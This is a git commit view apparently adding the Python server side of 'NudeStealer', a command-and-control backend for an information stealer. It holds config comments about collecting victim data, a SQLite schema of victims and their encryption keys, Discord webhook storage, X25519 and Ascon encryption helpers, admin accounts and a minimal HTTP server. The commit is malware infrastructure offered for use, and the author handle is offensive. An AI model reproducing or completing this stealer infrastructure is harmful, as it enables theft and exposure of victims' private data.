Initial commit
This commit is contained in:
59
serverside/consts.py
Normal file
59
serverside/consts.py
Normal file
@@ -0,0 +1,59 @@
|
||||
__projname__ = "NudeStealer Server"
|
||||
__author__ = "0xschoolshooter"
|
||||
__version__ = "1.0.0"
|
||||
__title__ = f"{__projname__} v{__version__} ~ by {__author__}"
|
||||
|
||||
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from .helpers.logger import setup_logger
|
||||
from serverside.helpers.config import get
|
||||
|
||||
logger = setup_logger()
|
||||
|
||||
running_tasks = {}
|
||||
executor = ThreadPoolExecutor(max_workers=2)
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent.parent
|
||||
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
|
||||
|
||||
DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3")
|
||||
|
||||
CONFIG_TEMPLATE = """
|
||||
[general]
|
||||
app_name = NuDe Stealer
|
||||
banner = /hbf mission / Operation
|
||||
version = 1.0.0
|
||||
# Only allows local connections, developer only debug features enabled
|
||||
debug = false
|
||||
|
||||
[paths]
|
||||
# you might as well change these if you want to keep things organized, but they can be left as is
|
||||
log_file_name = nudestealer_log.log
|
||||
database_file_name = nudestealer.sqlite3
|
||||
# Folder where victim data will be stored after
|
||||
# their UUID, last updated state (date), IP address/country & account username
|
||||
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
|
||||
vic_data_folder = vic_data
|
||||
|
||||
[network]
|
||||
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
|
||||
host = 127.0.0.1
|
||||
# port the http server will run on
|
||||
port = 80
|
||||
# whether to encrypt data before sending it via Ascon-AEAD128
|
||||
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
|
||||
use_ascon = True
|
||||
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
|
||||
ratelimit = True
|
||||
# 0 for unlimited
|
||||
max_concurrent_connections = 0
|
||||
|
||||
[administration]
|
||||
# admin account username and password, change these before running the server for the first time
|
||||
systemadmin_username = admin
|
||||
systemadmin_password = nudestealer
|
||||
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
|
||||
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
|
||||
# https://git.fingeri.ng/dff/nude-stealer
|
||||
self_host = True"""
|
||||
72
serverside/cryptography.py
Normal file
72
serverside/cryptography.py
Normal file
@@ -0,0 +1,72 @@
|
||||
import os
|
||||
import base64
|
||||
import ascon
|
||||
import hashlib
|
||||
import secrets
|
||||
from cryptography.hazmat.primitives.asymmetric import x25519
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
from typing import Tuple
|
||||
|
||||
def ascon_key_generator() -> str:
|
||||
key = os.urandom(16)
|
||||
return key.hex()
|
||||
|
||||
def encrypt(key_hex: str, plaintext: str) -> str:
|
||||
key = bytes.fromhex(key_hex)
|
||||
nonce = os.urandom(16)
|
||||
ad = b''
|
||||
|
||||
ciphertext = ascon.encrypt(key, nonce, ad, plaintext.encode(), variant="Ascon-AEAD128")
|
||||
|
||||
combined = nonce + ciphertext
|
||||
data_b64 = base64.b64encode(combined).decode()
|
||||
|
||||
return data_b64
|
||||
|
||||
def decrypt(key_hex: str, data_b64: str) -> str:
|
||||
key = bytes.fromhex(key_hex)
|
||||
combined = base64.b64decode(data_b64)
|
||||
|
||||
nonce = combined[:16]
|
||||
ciphertext = combined[16:]
|
||||
|
||||
plaintext = ascon.decrypt(key, nonce, b'', ciphertext, variant="Ascon-AEAD128")
|
||||
return plaintext.decode()
|
||||
|
||||
def hash_password(password: str) -> str:
|
||||
salt = secrets.token_hex(16)
|
||||
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
|
||||
return f"{salt}${hashed.hex()}"
|
||||
|
||||
def check_password(password: str, stored: str) -> bool:
|
||||
salt, hashed = stored.split('$')
|
||||
new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
|
||||
return new_hash.hex() == hashed
|
||||
|
||||
def salt_randomizer() -> bytes:
|
||||
return secrets.token_bytes(32)
|
||||
|
||||
def hkdf_sha256(salt: bytes, shared_secret_raw: str) -> str:
|
||||
hkdf = HKDF(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=32,
|
||||
salt=salt,
|
||||
info=b'',
|
||||
)
|
||||
key_material = hkdf.derive(shared_secret_raw)
|
||||
|
||||
return key_material
|
||||
|
||||
def compute_shared_secret(secret_key: bytes, public_key: bytes) -> bytes:
|
||||
secret_key_bytes = x25519.X25519PrivateKey.from_private_bytes(secret_key)
|
||||
public_key_bytes = x25519.X25519PublicKey.from_public_bytes(public_key)
|
||||
|
||||
shared_secret_raw = secret_key_bytes.exchange(public_key_bytes)
|
||||
|
||||
return shared_secret_raw
|
||||
|
||||
def generate_keypair() -> Tuple[x25519.X25519PrivateKey, x25519.X25519PublicKey]:
|
||||
secret_key_bytes = x25519.X25519PrivateKey.generate()
|
||||
public_key_bytes = secret_key_bytes.public_key()
|
||||
return secret_key_bytes, public_key_bytes
|
||||
133
serverside/database_s.py
Normal file
133
serverside/database_s.py
Normal file
@@ -0,0 +1,133 @@
|
||||
import sqlite3
|
||||
import json
|
||||
from datetime import datetime
|
||||
from serverside.consts import DATABASE_FILE
|
||||
from serverside.helpers.config import get
|
||||
from serverside.cryptography import hash_password
|
||||
|
||||
def init_db():
|
||||
DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE)
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
|
||||
cursor.execute('''
|
||||
CREATE TABLE IF NOT EXISTS vic_data (
|
||||
vic_uuid TEXT PRIMARY KEY,
|
||||
vic_account_name TEXT NOT NULL,
|
||||
vic_recent_ascon_key_hex TEXT,
|
||||
vic_previous_ascon_key_list TEXT, -- stored as JSON string
|
||||
last_updated TEXT,
|
||||
created_at TEXT DEFAULT (datetime('now'))
|
||||
)
|
||||
''')
|
||||
|
||||
cursor.execute('''
|
||||
CREATE TABLE IF NOT EXISTS administration (
|
||||
administrator_username TEXT PRIMARY KEY,
|
||||
administrator_password_hash TEXT NOT NULL,
|
||||
created_at TEXT DEFAULT (datetime('now'))
|
||||
)
|
||||
''')
|
||||
|
||||
cursor.execute('''
|
||||
CREATE TABLE IF NOT EXISTS discord_webhooks (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
webhook_url TEXT NOT NULL,
|
||||
created_at TEXT DEFAULT (datetime('now'))
|
||||
)
|
||||
''')
|
||||
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer")))
|
||||
|
||||
DATABASE_CONNECTION.close()
|
||||
|
||||
def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None):
|
||||
if previous_keys is None:
|
||||
previous_keys = []
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat()))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def get_vic(DATABASE_CONNECTION, vic_uuid):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
||||
row = cursor.fetchone()
|
||||
if row:
|
||||
vic_data = dict(zip([column[0] for column in cursor.description], row))
|
||||
vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list'])
|
||||
return vic_data
|
||||
return None
|
||||
|
||||
def insert_admin(DATABASE_CONNECTION, username, password_hash):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
INSERT INTO administration (administrator_username, administrator_password_hash)
|
||||
VALUES (?, ?)
|
||||
''', (username, password_hash))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def get_admin(DATABASE_CONNECTION, username):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,))
|
||||
row = cursor.fetchone()
|
||||
if row:
|
||||
return dict(zip([column[0] for column in cursor.description], row))
|
||||
return None
|
||||
|
||||
def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
vic = get_vic(DATABASE_CONNECTION, vic_uuid)
|
||||
if vic:
|
||||
previous_keys = vic['vic_previous_ascon_key_list']
|
||||
recent_key = vic['vic_recent_ascon_key_hex']
|
||||
if recent_key:
|
||||
previous_keys.append(recent_key)
|
||||
cursor.execute('''
|
||||
UPDATE vic_data
|
||||
SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ?
|
||||
WHERE vic_uuid = ?
|
||||
''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def update_admin_password(DATABASE_CONNECTION, username, new_password_hash):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
UPDATE administration
|
||||
SET administrator_password_hash = ?
|
||||
WHERE administrator_username = ?
|
||||
''', (new_password_hash, username))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def delete_vic(DATABASE_CONNECTION, vic_uuid):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def delete_admin(DATABASE_CONNECTION, username):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def insert_webhook(DATABASE_CONNECTION, webhook_url):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('''
|
||||
INSERT INTO discord_webhooks (webhook_url)
|
||||
VALUES (?)
|
||||
''', (webhook_url,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def delete_webhook(DATABASE_CONNECTION, webhook_id):
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,))
|
||||
DATABASE_CONNECTION.commit()
|
||||
|
||||
def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]:
|
||||
cursor = DATABASE_CONNECTION.cursor()
|
||||
cursor.execute('SELECT * FROM discord_webhooks')
|
||||
rows = cursor.fetchall()
|
||||
webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows]
|
||||
return webhooks
|
||||
42
serverside/helpers/config.py
Normal file
42
serverside/helpers/config.py
Normal file
@@ -0,0 +1,42 @@
|
||||
import configparser
|
||||
from pathlib import Path
|
||||
#from serverside.consts import BASE_DIR
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent.parent.parent
|
||||
CONFIG_PATH = BASE_DIR / "configuration.ini"
|
||||
|
||||
_config = configparser.ConfigParser()
|
||||
_config.read(CONFIG_PATH)
|
||||
|
||||
def get(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.get(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError):
|
||||
return fallback
|
||||
|
||||
def get_int(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.getint(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||
return fallback
|
||||
|
||||
def get_float(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.getfloat(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||
return fallback
|
||||
|
||||
def get_bool(section: str, key: str, fallback=None):
|
||||
try:
|
||||
return _config.getboolean(section, key)
|
||||
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||
return fallback
|
||||
|
||||
def sections():
|
||||
return _config.sections()
|
||||
|
||||
def options(section: str):
|
||||
try:
|
||||
return _config.options(section)
|
||||
except configparser.NoSectionError:
|
||||
return []
|
||||
25
serverside/helpers/logger.py
Normal file
25
serverside/helpers/logger.py
Normal file
@@ -0,0 +1,25 @@
|
||||
import logging
|
||||
from pathlib import Path
|
||||
from serverside.helpers.config import get
|
||||
#from serverside.consts import LOG_FILE
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent.parent.parent
|
||||
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
|
||||
|
||||
def setup_logger(name: str = "nudestealer") -> logging.Logger:
|
||||
logger = logging.getLogger(name)
|
||||
logger.setLevel(logging.DEBUG)
|
||||
|
||||
if not logger.handlers:
|
||||
file_handler = logging.FileHandler(LOG_FILE, encoding="utf-8")
|
||||
file_handler.setLevel(logging.DEBUG)
|
||||
|
||||
formatter = logging.Formatter(
|
||||
'%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s'
|
||||
)
|
||||
file_handler.setFormatter(formatter)
|
||||
logger.addHandler(file_handler)
|
||||
|
||||
logger.propagate = False
|
||||
|
||||
return logger
|
||||
33
serverside/helpers/middleware.py
Normal file
33
serverside/helpers/middleware.py
Normal file
@@ -0,0 +1,33 @@
|
||||
import time
|
||||
from starlette.middleware.base import BaseHTTPMiddleware
|
||||
from starlette.responses import JSONResponse
|
||||
|
||||
LIMIT = 60
|
||||
WINDOW = 60
|
||||
BLOCK_TIME = 5*60
|
||||
|
||||
ip_store = {}
|
||||
|
||||
class RateLimitMiddleware(BaseHTTPMiddleware):
|
||||
async def dispatch(self, request, call_next):
|
||||
ip = request.client.host
|
||||
now = time.time()
|
||||
entry = ip_store.get(ip, {"count": 0, "first_request": now, "blocked_until": None})
|
||||
|
||||
if entry["blocked_until"] and now < entry["blocked_until"]:
|
||||
return JSONResponse({"error": "Too many requests. Try again later."}, status_code=429)
|
||||
|
||||
if now - entry["first_request"] > WINDOW:
|
||||
entry["count"] = 0
|
||||
entry["first_request"] = now
|
||||
|
||||
entry["count"] += 1
|
||||
|
||||
if entry["count"] > LIMIT:
|
||||
entry["blocked_until"] = now + BLOCK_TIME
|
||||
ip_store[ip] = entry
|
||||
return JSONResponse({"error": "Rate limit exceeded. Blocked for 5 minutes."}, status_code=429)
|
||||
|
||||
ip_store[ip] = entry
|
||||
response = await call_next(request)
|
||||
return response
|
||||
28
serverside/http_s.py
Normal file
28
serverside/http_s.py
Normal file
@@ -0,0 +1,28 @@
|
||||
from uvicorn import Config, Server
|
||||
from starlette.applications import Starlette
|
||||
from starlette.routing import Route
|
||||
from serverside.helpers.config import get
|
||||
from serverside.helpers.middleware import RateLimitMiddleware
|
||||
from serverside.routes.version import version
|
||||
|
||||
async def start_server():
|
||||
app = Starlette(debug=get("general", "debug", fallback=False),
|
||||
routes=[
|
||||
Route("/version", version),
|
||||
Route("/api/version", version),
|
||||
Route("/api/v1/version", version),
|
||||
Route("/get_version", version)
|
||||
]
|
||||
)
|
||||
app.add_middleware(RateLimitMiddleware)
|
||||
|
||||
|
||||
config = Config(
|
||||
app=app,
|
||||
host=get("network", "host", fallback="127.0.0.1"),
|
||||
port=int(get("network", "port", fallback=56000)),
|
||||
log_level="debug" if get("general", "debug", fallback=False) else "info",
|
||||
)
|
||||
|
||||
server = Server(config)
|
||||
await server.serve()
|
||||
5
serverside/routes/version.py
Normal file
5
serverside/routes/version.py
Normal file
@@ -0,0 +1,5 @@
|
||||
from starlette.responses import JSONResponse
|
||||
from serverside.helpers.config import get
|
||||
|
||||
async def version(request):
|
||||
return JSONResponse({"api_version": get("general", "version", fallback="1.0.0")})
|
||||
32
serverside/util_s.py
Normal file
32
serverside/util_s.py
Normal file
@@ -0,0 +1,32 @@
|
||||
import asyncio
|
||||
from serverside.consts import logger, executor, running_tasks
|
||||
|
||||
async def run_in_thread(name, func, *args, **kwargs):
|
||||
loop = asyncio.get_event_loop()
|
||||
try:
|
||||
await loop.run_in_executor(executor, func, *args, **kwargs)
|
||||
except asyncio.CancelledError:
|
||||
logger.info(f"{name} task cancelled.")
|
||||
raise
|
||||
except Exception as e:
|
||||
logger.error(f"Error in {name}: {e}")
|
||||
|
||||
async def stop_task(name):
|
||||
task = running_tasks.get(name)
|
||||
if task:
|
||||
task.cancel()
|
||||
try:
|
||||
await task
|
||||
except asyncio.CancelledError:
|
||||
logger.info(f"{name} task stopped.")
|
||||
running_tasks.pop(name, None)
|
||||
except Exception as e:
|
||||
logger.error(f"Error stopping {name} task: {e}")
|
||||
|
||||
async def stop_all():
|
||||
logger.info("Stopping all services...")
|
||||
for _, task in running_tasks.items():
|
||||
task.cancel()
|
||||
await asyncio.gather(*running_tasks.values(), return_exceptions=True)
|
||||
running_tasks.clear()
|
||||
logger.info("All services stopped.")
|
||||
0
serverside/websocket_s.py
Normal file
0
serverside/websocket_s.py
Normal file
Reference in New Issue
Block a user